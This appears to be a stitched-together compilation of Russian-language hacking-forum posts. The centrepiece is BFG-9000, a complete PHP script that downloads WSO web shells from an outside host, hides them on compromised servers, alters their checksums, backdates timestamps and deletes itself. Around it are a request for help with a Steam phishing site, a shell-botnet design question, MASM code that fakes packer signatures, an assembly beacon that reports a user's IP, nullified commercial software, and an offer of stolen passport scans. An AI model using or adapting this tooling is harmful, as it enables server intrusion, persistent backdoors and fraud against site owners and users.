cipher.setAutoPadding(!options.padding);
if (options.padding) dataBytes = options.padding.pad(dataBytes, BLOCK_BIT_LEN / 8);
var encryptedBytes = Buffer.concat([cipher.update(dataBytes), cipher.final()]);
return encryptedBytes
},
decrypt: function decrypt(dataBytes, key, salt, options) {
options = options || {};
var decipher = crypto.createDecipheriv(options.mode || AES.CBC, key, salt || "");
decipher.setAutoPadding(!options.padding);
var decryptedBytes = Buffer.concat([decipher.update(dataBytes), decipher.final()]);
if (options.padding) decryptedBytes = options.padding.unpad(decryptedBytes);
return decryptedBytes
}
};
function decryptBufferWithKey(payload, iv, key, options) {
options = options || {};
options.padding = options.padding || Iso10126;
var decryptedBytes = AES.decrypt(payload, key, iv, options);
return decryptedBytes.toString("utf8")
}
function pbkdf2(password, salt, iterations, keyLenBytes, algorithm) {
algorithm = algorithm || ALGO.SHA1;
return crypto.pbkdf2Sync(password, salt, iterations, keyLenBytes, algorithm);
}
function stretchPassword(password, salt, iterations, keyLenBits) {
var saltBuffer = new Buffer(salt, "hex");
var keyLenBytes = (keyLenBits || 256) / 8;
return pbkdf2(password, saltBuffer, iterations, keyLenBytes, ALGO.SHA1)
}
function decryptDataWithPassword(data, password, iterations, options) {
var dataHex = new Buffer(data, "base64");
var iv = dataHex.slice(0, SALT_BYTES);
var payload = dataHex.slice(SALT_BYTES);
var salt = iv;
var key = stretchPassword(password, salt, iterations, KEY_BIT_LEN);
var res = decryptBufferWithKey(payload, iv, key, options);
return res
}
var decrypted = decryptDataWithPassword(payload, password, pbkdf2_iterations);
Разбирал Blockchain еще примерно пол год назад - мне не понадобилось, надеюсь кого то заинтересует.
У меня есть свой фишинг сайт стим , но он не проверяет аккаунты на валидность(
просто пишет неверный логин или пароль- хотя они верные ),что сделать ?
Если кто знает подскажите , в лс форума или в вк https://vk.com/id493778701
вот сам сайт :
BFG-9000
Универсальный скрипт для закрепления на шеллах.
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.
Описание
Скрипт загружает на сервер список указанных файлов и прячет их, выбирая
директорию случайным образом из доступных для записи и выбирая новое название
для загруженных файлов случайным образом из найденных на сервере файлов.
На сервер загружается тестовый файл для проверки выполнения php кода в
выбранной директории, после проверки тестовый файл удаляется и в директорию
загружется файл из вашего списка.
После загрузки вашего файла на него не делается запросов чтобы избежать
преждевременного попадания в лог веб-сервера.
Также в конец загруженного файла добавляется рандомное количество пробелов
чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных
файлов.
Файлы скачиваются 3 методами: socket/curl/file_get_contents.
По окончанию работы изменённые директории и загруженные файлы тачатся на
старое время изменения директории, и BFG удаляет себя.
Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла
и открывайте в браузере.
Не оставляйте код BFG на хостах!
Посвящается xss.is/ и Exploit.in
Spoiler: 10
Code:Copy to clipboard
<?php
/*
_______ _______ _______ _______ _______ _______ _______
| _ || || | | _ || _ || _ || _ |
| |_| || ___|| ___| ____ | | | || | | || | | || | | |
| || |___ | | __ |____| | |_| || | | || | | || | | |
| _ | | ___|| || | |___ || |_| || |_| || |_| |
| |_| || | | |_| | | || || || |
|_______||___| |_______| |___||_______||_______||_______|
v0.1 20140813
*/
/* ######### Config ######### */
/* Список файлов которые нужно загрузить */
$upload['wso_password_kjhgf']='http://myfiles.pro/uploads/1742819183.wso.txt';
$upload['mini_uploader']='http://myfiles.pro/uploads/881404330.upload.txt';
/* Регулярное выражение исключения из имен для файлов */
$exclude_names='#(index\.php|admin\.php)#';
/* User Agent используется при скачивании файлов */
$ua ='Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)';
/* Самоуничтожение BFG после выполнения */
$selfkill=true;
/* откуда начинать поиск, можно поменять для заливки на соседний сайт */
$homedir=$_SERVER['DOCUMENT_ROOT'];
/* Можно поменять для заливки на соседний сайт */
$host=$_SERVER['HTTP_HOST'];
/* ######### End Config ######### */
foreach($upload as $name=>$path) {
echo "\n\n [ ] Get content $path\t";
if($body=get($path)) {
echo "[ok] ".strlen($body)."\n";
}else {
echo "[fail]\n;";
continue;
}
if ($handle = opendir($homedir)) {
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
if (filetype($homedir . DIRECTORY_SEPARATOR . $file) == "dir") {
$root_dirs[$file]=$homedir . DIRECTORY_SEPARATOR . $file;
}
}
}
shuffle($root_dirs);
foreach($root_dirs as $root_name=>$root_dir) {
$result[$root_name] = scan($root_dir);
}
if(sizeof($result)>0) {
foreach($result as $home=>$info) {
if(sizeof(@$info['dir'])==0) continue;
if(sizeof($info['file'])==0) continue;
shuffle(array_unique($info['dir']));
array_unique($info['file']);
foreach($info['dir'] as $random_dir) {
shuffle($info['file']);
foreach($info['file'] as $random_file) {
$random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
$fail=false;
if(!is_file($random_name)) {
if(is_writable($random_dir)){
//echo " [+] rand path: $random_name\n";
echo " [*] scan: $random_dir\n";
$dir_time=filemtime($random_dir);
if ($handle = opendir($random_dir)) {
$old=microtime(1);
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
$filemt=filemtime($random_dir . DIRECTORY_SEPARATOR . $file);
if($filemt<$old) {
$old=$filemt;
}
}
$data='<?php echo md5(23); ?>';
if(file_put_contents($random_name, $data)) {
echo " [+] Upload: $random_name\n";
$url='http://'. $host .str_replace('\\','/',
str_replace($homedir, '', $random_dir)) .
'/' . $random_file;
echo " [*] check: $url\n";
if($content=get($url)) {
if(preg_match('/'.md5(23).'/', $content)){
echo " [+] Found: $url\n";
if(unlink($random_name)) {
echo " [+] Del: $random_name\n";
}else {
echo " [-] Del: $random_name\n";
}
shuffle($info['file']);
foreach($info['file'] as $random_file) {
$random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
$fail=false;
if(!is_file($random_name)) {
$body.="\n#";
for($i=0, $m=rand(1,15); $i!=$m; $i++) {
$body.=md5(rand(0,999999));
}
if(file_put_contents($random_name, $body)) {
echo " [*] Re upload: $random_name\n";
}else {
echo " [!] Upload: $random_name\n";
}
if(chmod($random_name, 0755)){
echo " [+] chmod on 755\n";
}else {
echo " [-] chmod on 755\n";
}
if(touch($random_name, $old)) {
echo " [+] Touch file on: ".date('d/m/y', $old)."\n";
}else {
echo " [-] Touch file on: ".date('d/m/y', $old)."\n";
}
if(touch($random_dir, $dir_time)) {
echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}else {
echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}
$upload_url='http://'. $host .str_replace('\\','/', str_replace($homedir, '', $random_dir)) .
'/' . $random_file;
$return[$name]=$upload_url;
echo " [+] UPLOAD ON: $upload_url\n";
break(4);
}else {
echo " [~] File exist: $random_name\n";
}
}
}else {
echo " [-] not found\n";
$fail=true;
}
}else {
echo " [!] not recived\n";
$fail=true;
}
if($fail==true){
if(unlink($random_name)) {
echo " [+] Del: $random_name\n";
}else {
echo " [-] Del: $random_name\n";
}
if(touch($random_dir, $dir_time)) {
echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}else {
echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
}
}
}else {
echo " [!] Upload: $random_name\n";
}
}
}else {
echo " [-] No write: $random_name\n";
}
break(1);
}else {
echo " [~] File exist: $random_name\n";
}
}
echo "\n";
}
}
}
}// end foreach files
if(sizeof($return)>0) {
echo "----------------------\n";
foreach($return as $rk=>$rv) {
echo $rk.":\t".$rv."\n";
}
echo "----------------------\n";
if($selfkill==true) {
echo " [ Self kill ] \n";
unlink($_SERVER['SCRIPT_FILENAME']);
}
}else {
echo "Fatal error\n";
}
function scan($homedir, $count=0, $files=array()) {
$scan_max=2;
$subdir=array();
if($count>$scan_max) return $files;
if ($handle = opendir($homedir)) {
while (false !== ($file = readdir($handle))) {
if ($file == "." or $file == "..") {
continue;
}
$fullPath=$homedir . DIRECTORY_SEPARATOR . $file;
if (filetype($fullPath) == "dir") {
$files['dir'][]=$fullPath;
$subdir[]=$fullPath;
}else {
if(!preg_match($exclude_names, $file) and preg_match('/\.php$/i', $file)) {
$files['file'][]=$file;
}
}
}
$count++;
if(sizeof($subdir)>0) {
foreach($subdir as $dir) {
$files=scan($dir, $count, $files);
}
}
}
return $files;
}
function get($url) {
if (is_callable("curl_exec")) {
echo " [curl] ";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$content=curl_exec($ch);
curl_close($ch);
return $content;
} elseif(is_callable("file_get_contents")) {
echo " [fget] ";
return file_get_contents($url, false, stream_context_create(array("http" =>array("header" => "User-Agent: {$ua}"))));
}elseif(is_callable("fsockopen")) {
echo " [socket] ";
if($fp=fsockopen(parse_url($url,PHP_URL_HOST),80,$e,$e,15)) {
$out ="GET ".parse_url($url,PHP_URL_PATH)." HTTP/1.1\r\n";
$out.="Host: ".parse_url($url,PHP_URL_HOST)."\r\n";
$out.="User-Agent: {$ua}\r\n";
$out.="\r\n";
fputs($fp,$out);
while(!feof($fp)) {
$content.=fgets($fp,128);
}
fclose($fp);
return $content;
} else return false;
} else return false;
}
О всех недочетах ошибках идеях пишите.
Чисто случайно нашел интересную заметку, авторства malayazemlya
Суть идеи очень проста — запихнуть весь контент странички в URL, а затем сократить с помощью любого сервиса сокращения URL'ов вроде bit.ly, goo.gl или tinyurl.com. Потребуется только разместить где-то элементарный скриптик, который будет из урла брать контент и выводить на экран. Хранить он при этом его не будет. Хранить весь контент будет сокращалка. В общем, красота. Давай поподробнее разберемся, как это работает.
Итак, есть ссылка, например, tinyurl.com/3nghu2l. При переходе по ней — нас переправит на длиннющую ссылку вроде следующей:
Code:Copy to clipboard
http://хостинг/яваскрптик.html#PGhlYWQ+CjxzdHls
Z4KYm9keSB7CiAgY29sb3I6ICNGRjY7CiAgYmFja2dyb3VuZ
C1jb2xvcjogIzAwMDsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib
2R5PgpUaGlzIHBhZ2UgaXMgaG9zdGVkIG9uIDxhIGhyZWY9I
mh0dHA6Ly90aW55dXJsLmNvbSI+dGlueXVybC5jb208L2E+C
jwvYm9keT4=
В ней все после знака '#' — это наш контент в base64формате, а яваскриптик — это скрипт, делающий вот так:
Code:Copy to clipboard
var hsh = document.location.hash;
hsh = hsh .substring(1, hsh .length);
document.write(decode64(hsh ));
// decode64 — функция, декодирующая base64
То есть он просто получит все, что после '#', раскодирует и выведет на экран.
В RFC длина URL никак не регламентирована, поэтому можно смело кодировать с помощью любого base64-алгоритма html-код любой длины, надеясь, что браузеры тоже никак не ограничивают длину урла. Чтобы разместить таким образом картинки, нужно будет немного потрахаться с data. Вот так, например:
Code:Copy to clipboard
<img src="data:image/gif;base64,R0lGODlhEAAOAL
MAAOazToeHh0tLS/7LZv/0jvb29t/f3//Ub//ge8WSLf/
rhf/3kdbW1mxsbP//mf///yH5BAAAAAAALAAAAAAQAA4AAA
Re8L1Ekyky67QZ1hLnjM5UUde0ECwLJoExKcppV0aCcGCmT
IHEIUEqjgaORCMxIC6e0CcguWw6aFjsVMkkIr7g77ZKPJjP
ZqIyd7sJAgVGoEGv2xsBxqNgYPj/gAwXEQA7" width="16"
height="14"/>
Синтаксис тут простой (данные, понятно, в пресловутом base64):
Code:Copy to clipboard
data:[<тип данных>][;base64],<данные>
Источник _http://www.xakep.ru/post/57576/
Что думаете на эту тему? Меня смущает длина урл - наверное, лимиты все таки есть. Вот товарищ экспериментировал на тему _http://www.manhunter.ru/webmaster/481_kakaya_mozhet_bit_maksimalnaya_dlina_url.html Хотя, в принципе, в 1-2 тысячах допустимых любым браузером символов большинство простого контента можно поместить.
Здравствуйте уважаемые мемберы! В общем пишу что-то типо ботнета на шелах, но не могу придумать хороший вариант алгоритма распределения заданий между шелами с админки! Мне нужно, чтобы с админки посылалось задание на бота, бот выполнял задание, возвращал результат, и брал следующее, по одному заданию кидать, скорость упадет в разы, и будет падать с кол-вом ботов, посылать пачками, тут другие проблемы вырисовываются, например лимит выполнения скрипта, или ограничения на сервере(допустим запрещен курл)! Помогите составить хороший алгоритм, как такое лучше организовать, или подкинь статей\сорцов по данной теме, желательно на пхп, и если вы хорошо ориентируетесь в работе с шелами, подскажите, какие еще могут быть нюансы на то, что мой скрипт будет выполнятся не корректно! Заранее спасибо, всем те кто окажет хоть какую-то помощь!
Spoiler: 1
ion.part1.rar (286.1 MB)
http://www.multiupload.com/839HUYZPR8
http://www.sendspace.com/file/2w8mju
ion.part2.rar (286.1 MB)
http://www.multiupload.com/Z5QS4XM5OP
http://www.sendspace.com/file/vcaknl
ion.part3.rar (36.8 MB)
http://www.multiupload.com/EABHG1II88
http://www.sendspace.com/file/42d3nq
password: ZAhdWsaHWyrZZzRHZ9bNetyb
Нужен не особо сложный проект реализовать, софт на мобильный телефон, все
подробности в icq, жабе, скайпе, где хотите...оплачу работу через гаранта...
icq:335949335
жаба:darcksol@pro0hack.ru
скайп: planservic
-- Так же писать можно в ПМ и на мыло, но мыло проверяю редко,....
Прошу прощения, если эта тема уже где-то обсуждалась, но через поиск я ничего
вроде не нашел.
Хотелось бы обсудить актуальность использования CGI скриптов в веб-разработке,
для проектировки высоконагруженных систем (админки тех же ддос ботов например)
и вообще. Тема эта меня заинтересовала после обзора не помню уже чего. Там
упоминалось, что системы была написана на CGI, поэтому выдерживала нагрузки
лучше, чем аналогичная на php. Еще упоминался sutraTDS, в котором очень
хороший редирект, опять же на этом CGI.
Действительно ли CGI кодинг актуален и дает какие-то преимущества? Или, при умении и знаниях, аналогичное можно реализовать и на php?
Уважаемые посетители!
А подскажите мне пожалуйста шуструю локальную базу данных основанную на файлах
(желательно с поддержкой sql запросов, максимально схожих с mysql).
Обязательное требование OS Linux based.
Идея в том, что бы попробовать любую связку/тдс/бота переделать под файловую
базу данных и при этом получить рост производительности.
Как максимум - попробовать реализовать такую базу на примере любой админки.
Интересуют плюсы/минусы такого метода и возможные реализации.
Джентельменский набор сайтописателя
Крутилки баннеров, биллинговые системы, поисковики, галереи и т.д.
Все скрипты успешно нуллифицированы и работоспособны.
Общая стоимость данного набора - около $4700.
Полные наборы скриптов проектов:
adRevenue [Nullified]
Auto Gallery SQL v2.1.0b [Nullified]
AutoGallery Pro v2.0.0b [Nullified]
Autolinks Pro v2.0 [Nullified]
AutoRank Pro v4.0.0 [Nullified]
Calendar Now Pro v 2.0 [Nullified]
ClickSee AdNow v2.2.7 [Nullified]
DeskPRO Enterprise v2.0.1 [Nullified]
Devil TGP v2.9 [Nullified]
DigiShop 2.0.2 [Nullified]
Done Right Bid Search Engine v2.0 [Nullified]
e-Classifieds v4.1.2 Photo Edition [Nullified]
ImageFolio Commerce v1.0 [Nullified]
Magic News Plus v1.0.2. [Nullified]
Mojopersonals [Nullified]
Nephp Publisher Enterprise 3.0.4 [Nullified]
NewsPHP v1.05 [Nullified]
Payment Gateway v1.04 [nullified]
Photopost Php Pro v4.6.5 [Nullified]
PhotoPost v3.1 [Nullified]
PHP Live helper [Nullified]
PHP Auction PRO Plus v1.0 [Nullified]
phpListPro v.1.80 [Nullified]
phpwebnews v.1.0 [Nullified]
pMachine v2.3 pro [Nullified]
Smart Search v4.20 [Nullified]
Startdevelop Livehelp v2.0 [Nullified]
SunShop v2.9 [Nullified]
webDate v1.1.2 [Nullified]
WebEdit Professional v4.0 [Nullified]
X-affiliate v3.5.6 module for x-cart [Nullified]
X-cart 3.5.6 gold php mysql shopping cart [Nullified]
Что бы вы порекомендовали из аналогов SimpleXML для парсинга XML?
желательна поддерка xPath
; #########################################################################
.586
.model flat, stdcall
option casemap :none ; case sensitive; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.incincludelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib; #########################################################################
.data
msgTitle db "Scan status:",0h
msgText db "Fake signature ",0h
.codestart:
; PeID checks OEP for signatures. If the byte pattern at OEP matches some of
; the signatures stored in PeID.exe or userdb.txt PeID will identify target as
; packer or protector assigned to that signature. So we can insert any number
; of bytes at OEP and make PeID detect the wrong packer.; For example this is ASPack 2.12 OEP
db 060h,0E8h,003h,000h,000h,000h,0E9h,0EBh,004h,05Dh,045h,055h,0C3h,0E8h,001h,000h,000h,000h
db 0EBh,05Dh,0BBh,0EDh,0FFh,0FFh,0FFh,003h,0DDh,081h,0EBh,000h,040h,000h,000hPOPAD
PUSH 40h
PUSH offset msgTitle
PUSH offset msgText
PUSH 0
CALL MessageBoxPUSH 0
CALL ExitProcessend start
Click to expand...
Уважаемые Мемберы!
Может быть кто нибуть выложит, под хайдом, или мне в личку?
Уважаемые господа кодеры, помогите пожулуйста ничего не шарящему в программировании нубу
Помогите пожалуйста составить алгоритмы на basic и fortran для вычисления значений выражений
Z = 0,8tg^2x/ e^2y10^3 ; x = 0,323 y = 7?3 * 10 ^-8
tg^2*x√lna, x = a^4 (система уравнений)
Y =
sin x + ln a, x <= a^-2
F = £ * √i/i^3 * e^i
1-5,10,15,70
денег у меня к сожалению нет, но могу поделится неюзанными сканами паспортов
Всем привет!
Данная тема думаю многим будет интересна...
Пишу некое подобие "стукача" на асме.
Суть его работы:
Запускается сокет, по шаблону GET/POST он лезет на скрипт, находящийся на
сервере, который в свою очередь записывает его айпи, и т.п
Вроде набросал текста, скомпилил, но нет - даже сет. активности нету...
Кому не тяжело - посмотрите, может ошибся где, в нете много искал, но нашёл
лишь на си, переписал что-то, получилось то, что вы видите в тэге CODE.
Ах, да и ещё если у кого идеи по этому поводу будут - пишите, буду рад!
Упростим задачу: Требуется например узнать айпишник юзверя(написать функцию - нет проблем), но вопрос как это в сокет воплотить и на сервер отправить, чтобы скрипт принял ?
Вот собственно исходник:
Spoiler: 15
Code:Copy to clipboard
.386
.model flat, stdcall
option casemap :none
include \masm32\INCLUDE\windows.inc
include \masm32\INCLUDE\kernel32.inc
include \masm32\INCLUDE\ws2_32.inc
include \masm32\INCLUDE\wsock32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\wsock32.lib
.data?
hSocket dd ?
dwTime dd ?
sin sockaddr_in <>
wsData WSADATA <>
.data
; шаблон взял из исходника на фасме, так что могут быть ошибки, хотя у меня
; всё скомпилилось!
PostTemplate db 'POST /my_script.php HTTP/1.0',13,10
db 'Host: '
HostName db 'my_server.com',0,13,10
db 'User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11',13,10
db 'Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8',13,10
db 'Accept-Language: en-us',13,10
db 'Accept-Encoding: gzip,deflate',13,10
db 'Keep-Alive: 300',13,10
db 'Connection: Keep-Alive',13,10
.code
mov eax, HostName
push eax;это хост
; initializing winsock.....
invoke WSAStartup, 101h, ADDR wsData
call inet_addr;invoke inet_addr, eax
mov [sin.sin_family], AF_INET
mov [sin.sin_port], 80
mov [sin.sin_addr], eax
invoke socket, PF_INET, SOCK_STREAM, 0
mov [hSocket], eax
push eax
invoke connect, eax, ADDR sin, sizeof sin
invoke send, [hSocket], ADDR PostTemplate, sizeof PostTemplate, 0
invoke closesocket, [hSocket]
; ТУТ можно ещё send, заменить на
; invoke write, [hSocket], ADDR PostTemplate, sizeof PostTemplate
; разницы нету....
call WSACleanup
П.С. Хайд поставил по собственному желанию, хотите обсудить - велкам в личку!
Собственно сабж.Очень интересно сие чудо.Кто что знает,где достать,кто подогнать может?Вариант "написать с нуля " не пойдет к сожалению.Но ествественно любой двиг будет перерабатываться и пересматриваться перед установкой
Это мой довольно старый проект выкладываю не последнию версию так как накрылся
хард ((
В обшем оцените скрипт так как имею мысль переписать все тоже самое только на
перл с поддержкой много поточности и еше много чего )
Spoiler: 3
Описание
Консольный php скрипт.
работает под win и nixВозможности
[] Сканирование портов + выводит список возможных Троянов
[] Сканирование дирректорий
[] Сканирование cgi сканирование (в этой версии не работает)
[] Сканирование суб доменовDownload
Скачать|DownloadClick to expand...
Как отследить из юзермода выключение,перезагрузку,ребут в приложении
без окна!Точьнее из длл!
Оффлайн архив форума wasm.ru/forum/ с аттачами
Новый:
16.04.09: http://www.sendspace.com/file/laszkb (97,2МБ)
Старый:
13.05.07: http://www.sendspace.com/file/ru8wgk (48,8МБ)
Code:Copy to clipboard
Warning: mysql_real_escape_string() [function.mysql-real-escape-string]: Access denied for user 'root'@'localhost' (using password: NO)
Коннект с БД есть, делаю запросы до и после вызова этой функции, никаких
ошибок нет, ошибоки только на вызове этих функций.
У кого нить есть идеи в чём кроется секрет этой функции?
Да самое интересное на локалке работает без ошибок, а на 2-х серверах нет.
Возможно ли реализовать на PHP под *NIX-систему или может есть готовый скрипт, который будет сохранять скриншоты из видеофайлов различных форматов?
Я работаю над проектом "Alex-School" - программное обеспечение для школы...
В чем суть задачи.. А в том чтобы протестировать с точки зрения злоумышленика странички проекта. Я больше уделяю внимания функциональности и дизайну, а вопрос безопасности оставляю на потом.. Но все же может уже сейчас кто-то найдет дыру или лазейку для взлома. Буду рад всем, кто поможет..
Проектом я занялся с того лета.. В июне начал изучать HTML & CSS, а в июле РНР.. Но несмотря на это, вечера проведенные у монитора дали в итоге неплохие результаты - многие разделы уже готовы. Я работаю учителем и старался учесть все необходимые функции и инструменты для работы учителя, но в меру своих познаний как программиста.. По мере изучения PHP & JS код постоянно усовершенствуется.. Но тему безопасности я откладывал на второй план...
Есть два моммента, которые должны учесть те, кто согласится на участие в тестировании:
Для тех, кто все еще согласен - www.NewLifeMan.com
(здесь скриншоты проекта и шрифты) и [Alex-School ](http://project.Alex-
School.com/) (сам проект)
Доброго времени суток!
Пишу диплом на VB, возникли проблеммы...
если кто шарит, стукните пожалуйста в 424224
Если что, могу материально отблагодарить.
Заранее спасибо!
Все, наверняка сталкивались со скриптами в ajax
Иногда их для экономии места сжимают (это не криптовка, вроде).
Вид такой
eval(function(p,a,c,k,e,r){e=function©{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e©]=k[c]||e©;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c]);return p}('(s($){3.1s.1k=s(j){j=3.1a({12:'1m.1j'},j);8 k=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 5.5")!=-1);8 l=(n.P=="r 10 Z"&&U(n.v)==4&&n.v.E("14 6.0")!=-1);o(3.17.16&&(k||l)){3(2).L("1r[@m$=.M]").z(s(){3(2).7('q',3(2).q());3(2).7('p',3(2).p());8 a='';8 b='';8 c=(3(2).7('K'))?'K="'+3(2).7('K')+'" ':'';8
....
Click to expand...
Вопрос.
а)что это за упаковщик- он стандартный, или каждый может написать свой?
б)код полностью распаковывается в браузере?
Здравствуйте уважаемые !
Не пинайте если не по разделу точно не знал куда писать, кто нить знает как
создать Toolbar? и сложно ли это? Может есть у кого то инструкции.
Если кто то умеет его создавать то за сколько?
Добрий день .
Я никак не могу из стринга :
myTMN Click to expand...
Витянуть "1240655165108"
Пробовал :
if($string =~ m/ts=(.*)"/) {
print $1;}
Click to expand...
Но видавало:
1240655165108" type="text/javascript">